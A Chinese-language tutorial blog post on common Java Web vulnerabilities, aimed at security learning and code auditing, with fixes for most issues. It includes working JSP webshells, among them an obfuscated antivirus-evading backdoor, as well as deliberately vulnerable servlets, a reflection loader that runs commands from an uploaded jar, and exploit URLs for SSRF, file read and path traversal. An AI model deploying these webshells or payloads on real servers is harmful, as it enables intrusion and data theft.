2019-10-15 Java Web常见漏洞分析
目录
Java vs PHP
Java Web的常见概念
- Java Web项目的目录结构
- Servlet
- JSP(Java Server Pages)
- JDBC(Java Database Connectivity)
- Java Bean
Java Web常见漏洞分析
- 命令执行(JSP一句话木马等)
- SQL注入
- 条件竞争(Servlet线程不安全)
- SSRF
- 文件上传
- 代码执行(Java反射机制)
- 任意文件读取/目录遍历攻击
Java vs PHP
语言 | Java | PHP |
---|---|---|
语言类型(静态类型/动态类型) | 静态类型(不过现在似乎引入了动态类型) | 动态类型(变量在声明时不需要声明类型) |
语言类型(强类型/弱类型) | 强类型(不允许隐式类型转换,类型安全) | 弱类型(存在隐式类型转换,类型不安全) |
语言类型(编译型/解释型) | 半编译半解释型(.java编译为.class,.class由JVM解释执行) | 解释型 |
安全性 | 好(相对而言,从语言本身的角度来讲) | 差 |
代码特点 | 代码复杂、长、不易懂 | 代码简单、短、易懂 |
是否需要反编译 | 因为存在编译过程,需要反编译才能看到源码 | 不需要反编译 |
代码审计的难易程度 | 困难(相比而言,代码审计的难易程度) | 简单 |
Java是世界上最好的语言 |
Java Web常见概念
Java Web项目的目录结构
这里就讲有Maven
的目录结构,因为做Java Web
,Maven
几乎是必不可少的(以及构建工具里我只懂Maven
……)。
JavaWebProject 项目根目录
|--src 存放Java源码
|--main Java程序及其相关的东西
|--java 存放.java文件,这些文件一般是Servlet和JavaBean
|--resources 存放需要用到的资源,比如Spring Framework的applicationContext.xml
|-test 测试程序
|--web JSP文件放在这里
|--WEB-INF 非常重要的目录,据说Java Web的题一般是拿到这个文件夹
|--classes 编译好的.class文件
|--lib 项目依赖的一些包,比如JDBC的包
web.xml 项目配置文件
pom.xml Maven的文件
Servlet
狭义的Servlet
是指Java语言实现的一个接口,广义的Servlet
是指任何实现了这个接口的类。
一般情况下,将Servlet
理解为后者。
在MVC
的开发模式中,Servlet
一般用作Controller
。
JSP(Java Server Pages)
JSP
是一种动态网页技术标准,可以将特定的动态内容嵌入到静态页面中,类似于PHP
。
JSP
以Java
作为脚本语言(也就是说可以在HTML
文件中嵌入Java
代码),其本质上是一个Servlet
(JSP
在第一次访问时会被翻译成Servlet
,再编译为.class
文件)。
一个简单粗暴的理解:JSP
跟PHP
一样,只是页面内嵌的语言换成了Java
。
JDBC(Java Database Connectivity)
JDBC(Java DataBase Connectivity,java数据库连接)
是一种用于执行SQL
语句的Java API
,可以为多种关系数据库提供统一访问,它由一组用Java
语言编写的类和接口组成。
JavaBean
JavaBean
是一些有特定特点的Java
类,其特点是:
- 有无参的构造器。
- 所有的属性都是
private
,并且提供了相应的getter
和setter
方法。
服务器中访问的JavaBean
一般有以下两种:
- 封装数据对象的
JavaBean
。 - 封装业务逻辑的
JavaBean
。
Java Web常见漏洞分析
这次只讲Java
本身导致的一些漏洞,框架的漏洞太多了一时半会讲不完……
命令执行(JSP一句话木马)
无回显
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
利用:
http://localhost:9000/javasec/commandExecution.jsp?cmd=calc
弹出计算器。
没有任何回显,不带cmd
参数会报错。
有回显
<%
java.io.InputStream is = Runtime.getRuntime()
.exec(request.getParameter("command"))
.getInputStream();
int a = -1;
byte[] b = new byte[2048];
while ((a = is.read(b)) != -1) {
out.print(new String(b));
}
%>
利用:
http://localhost:9000/javasec/commandExecution.jsp?command=whoami
不带command
参数也会报错。
以上是基本的一句话木马,如果需要加密码验证之类的东西,和PHP的方法基本相同。
免杀后门
from:https://xz.aliyun.com/t/2342
<%@ page pageEncoding="utf-8"%>
<%@ page import="java.util.Scanner" %>
<HTML>
<title>Just For Fun</title>
<BODY>
<H3>Build By LandGrey</H3>
<FORM METHOD="POST" NAME="form" ACTION="#">
<INPUT TYPE="text" NAME="q">
<INPUT TYPE="submit" VALUE="Fly">
</FORM>
<%
String op="Got Nothing";
String query = request.getParameter("q");
String fileSeparator = String.valueOf(java.io.File.separatorChar);
Boolean isWin;
if(fileSeparator.equals("\\")){
isWin = true;
}else{
isWin = false;
}
if (query != null) {
ProcessBuilder pb;
if(isWin) {
pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);
}else{
pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);
}
Process process = pb.start();
Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
op = sc.hasNext() ? sc.next() : op;
sc.close();
}
%>
<PRE>
<%= op %>>
</PRE>
</BODY>
</HTML>
注意:Java要想把字符串当成代码来执行非常困难,因为没有eval()
这样的方法。这个也是由Java
语言本身半编译半解释的特性决定的。实现这个功能需要很大量的代码(大概方法就是自己写一个动态编译,把字符串写入临时文件里,然后编译它,再执行),所以有别的解决方法的话还是别这么干了。用一句话说就是:Java的eval()方法要自己实现。
防范方法
禁用JSP
,在web.xml
中加入:
<jsp-config>
<jsp-property-group>
<url-pattern>*.jspx</url-pattern>
<url-pattern>*.jsp</url-pattern>
<scripting-invalid>true</scripting-invalid>
</jsp-property-group>
</jsp-config>
添加以上设置之后,含有Java
代码的JSP
文件就会编译不通过。
SQL注入
典型漏洞代码:
conn = DriverManager.getConnection(URL, USERNAME, PASSWORD);
stmt = conn.createStatement();
String sql = "SELECT * FROM user WHERE username = '" + username
+ "' AND password = md5('" + password
+ "')";
System.out.println(sql);
rs = stmt.executeQuery(sql);
分析、修复方案等:
https://www.yuque.com/timekeeper/sayyuy/shc33k
一句话:使用PreparedStatement
、不要把用户输入的东西拼到SQL
语句里。
String sql = "SELECT * FROM user WHERE username = ? AND password = ?";
stmt = conn.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
rs = stmt.executeQuery();
System.out.println(stmt.toString());
条件竞争(Servlet线程不安全)
某些情况下Java
比PHP
更容易出现条件竞争漏洞。这里分享由Servlet
线程不安全导致的条件竞争漏洞。
Servlet
实际上是单例的,除非这个Servlet
实现SingleThreadMethod
接口,当多线程并发访问时,每个线程得到的实际上是同一个Servlet
实例,每个线程对这个Servlet
实例的修改就会影响到其他线程。
当客户端第一次请求某个Servlet
时,Servlet
容器(比较常见的就是tomcat
)会根据@WebServlet
注解(Servlet
版本3及以上)或者web.xml
的配置(如果有的话)实例化这个Servlet
。如果有新的客户端请求这个Servlet
类,一般就不会再次实例化它了,也就是有多个线程在使用这个Servlet
实例。
典型代码1:
package com.wen.javasec.controller;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet("/RaceCondition")
public class RaceCondition extends HttpServlet {
private String username = "no name";
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String name = req.getParameter("username");
if (name != null) {
username = name;
}
resp.setContentType("text/html;charset=UTF-8");
PrintWriter out = resp.getWriter();
out.println(username);
out.flush();
out.close();
}
}
直接访问:
http://localhost:9000/javasec/RaceCondition
输出no name
。
带上参数访问:
http://localhost:9000/javasec/RaceCondition?username=江文
输出变成江文
。
使用其他浏览器不带参数访问,输出还是江文
。也就是说有其他的线程修改了成员变量的值。
修复:
- 不要在
Servlet
中使用成员变量。 - 实现
SingleThreadModel
接口(不建议,因为官方已经废弃了这个接口)。
SSRF
SSRF(Server-Side Request Forge, 服务端请求伪造)
,攻击者让服务端发起指定的请求。
SSRF
攻击的目标一般是从外网无法访问的内网系统。
Java
中的SSRF
支持sun.net.www.protocol
里的所有协议:
- http
- https
- file
- ftp
- mailto
- jar
- netdoc
但是,相对于PHP
, Java
中SSRF
的利用局限较大(因为Java
没有那么灵活),一般利用http
协议来探测端口,利用file
协议读取任意文件。
典型代码(应该是最简单的SSRF
,利用SSRF
读文件):
package com.wen.javasec.controller;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
@WebServlet("/SSRF")
public class SSRFServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String url = req.getParameter("url");
if (url != null) {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
URLConnection httpUrl = urlConnection;
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream()));
String inputLine;
StringBuffer html = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
resp.setContentType("text/html;charset=UTF-8");
PrintWriter out = resp.getWriter();
out.println("<xmp>");
out.print(html.toString());
out.println("</xmp>");
out.flush();
out.close();
in.close();
}
}
}
利用:
E盘根目录下放置flag.txt
。
http://localhost:9000/javasec/SSRF?url=file:///E:/flag.txt
成功读取到flag.txt
的内容。
修复:
跟PHP
的SSRF
一个修复方法。
以上代码如果加上强制类型转换,也可以使其失去读文件的功能:
URLConnection httpUrl = (HttpURLConnection) urlConnection;
文件上传
在Java
中实现文件上传的代码比较复杂,一个典型的没有做任何过滤的文件上传Servlet
代码如下:
package com.wen.javasec.controller;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.IOException;
import java.util.List;
@WebServlet("/FileUpload")
public class UploadServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
String root = req.getServletContext().getRealPath("/upload");
DiskFileItemFactory factory = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(factory);
try {
List<FileItem> list = upload.parseRequest(req);
for (FileItem it : list) {
if (!it.isFormField()) {
it.write(new File(root + "/" + it.getName()));
resp.getWriter().write("success");
}
}
} catch (Exception e) {
try {
resp.getWriter().write("exception");
} catch (IOException e1) {
e1.printStackTrace();
}
e.printStackTrace();
}
}
}
对应的JSP
:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>File Upload</title>
</head>
<body>
<form method="post" action="${pageContext.request.contextPath}/FileUpload" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="submit">
</form>
</body>
</html>
访问/upload.jsp
,什么都可以上传。
这方面的代码审计和PHP
差不多,看看Upload-Labs
,研究一下就行。
代码执行(Java反射机制)
这里分享一下如何利用Java
反射机制,与上面的文件上传漏洞相配合,来达到代码执行的目的。
因为Java
存在反射机制,可以在不重启服务器的情况下,动态加载用户上传的jar
包。如果一个Java
Web应用存在文件上传漏洞,我们成功上传了一个jar
包和一个JSP
文件,就可以在这个JSP
文件中通过反射去加载这个jar
包,进而执行其中的恶意代码。
这里写在Servlet
里了。如果跟文件上传配合着来的话,建议写在JSP
里:
package com.wen.javasec.controller;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
@WebServlet("/Reflect")
public class ReflectServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String url = req.getParameter("url");
String className = req.getParameter("class");
String methodName = req.getParameter("method");
String cmd = req.getParameter("cmd");
URL[] urls = new URL[] { new URL(url) };
URLClassLoader ucl = new URLClassLoader(urls);
try {
Class<?> cls = ucl.loadClass(className);
Method method = cls.getMethod(methodName, String.class);
String result = (String) method.invoke(cls.newInstance(), cmd);
if (result != null) {
resp.setContentType("text/html;charset=UTF-8");
PrintWriter out = resp.getWriter();
out.print(result);
out.flush();
out.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
被加载的类,打成jar
包:
import java.io.*;
public class Exec {
public String execution(String cmd) {
try {
InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
int a = -1;
byte[] b = new byte[2048];
String result = "Result:";
while ((a = is.read(b)) != -1) {
result += new String(b);
}
return result;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
javac .\Exec.java
jar -cvf Exec.jar Exec.class
利用:
http://localhost:9000/javasec/Reflect?url=file:///E:/JavaWeb/jar/Exec.jar&class=Exec&method=execution&cmd=whoami
任意文件读取/目录遍历攻击
任意文件读取
读取任意文件,并显示:
package com.wen.javasec.controller;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
@WebServlet("/FileRead")
public class FileReadServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String url = req.getParameter("file");
if (url != null) {
File file = new File(url);
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = fis.read(b)) != -1) {
baos.write(b, 0, a);
}
resp.setContentType("text/html;charset=UTF-8");
PrintWriter out = resp.getWriter();
out.print("<xmp>");
out.print(new String(baos.toByteArray()));
out.print("</xmp>");
fis.close();
}
}
}
利用:
http://localhost:9000/javasec/FileRead?file=E:///flag.txt
目录遍历攻击
package com.wen.javasec.controller;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
@WebServlet("/FileDownload")
public class FileDownloadServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String root = req.getServletContext().getRealPath("/upload");
String fileName = req.getParameter("file");
File file = new File(root + "/" + fileName);
FileInputStream fis = new FileInputStream(file);
resp.addHeader("Content-Disposition", "attachment;filename=" + new String(fileName.getBytes()));
resp.addHeader("Content-Length", "" + file.length());
byte[] b = new byte[fis.available()];
fis.read(b);
resp.getOutputStream().write(b);
}
}
对应的JSP
:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Download</title>
</head>
<body>
<form action="${pageContext.request.contextPath}/FileDownload" method="get">
<label for="file">需要下载的文件名:</label>
<input type="text" name="file" id="file">
<input type="submit" value="submit">
</form>
</body>
</html>
利用:
http://localhost:9000/javasec/FileDownload?file=../WEB-INF/web.xml
或者直接在download.jsp
的输入框里输入../WEB-INF/web.xml
也可以。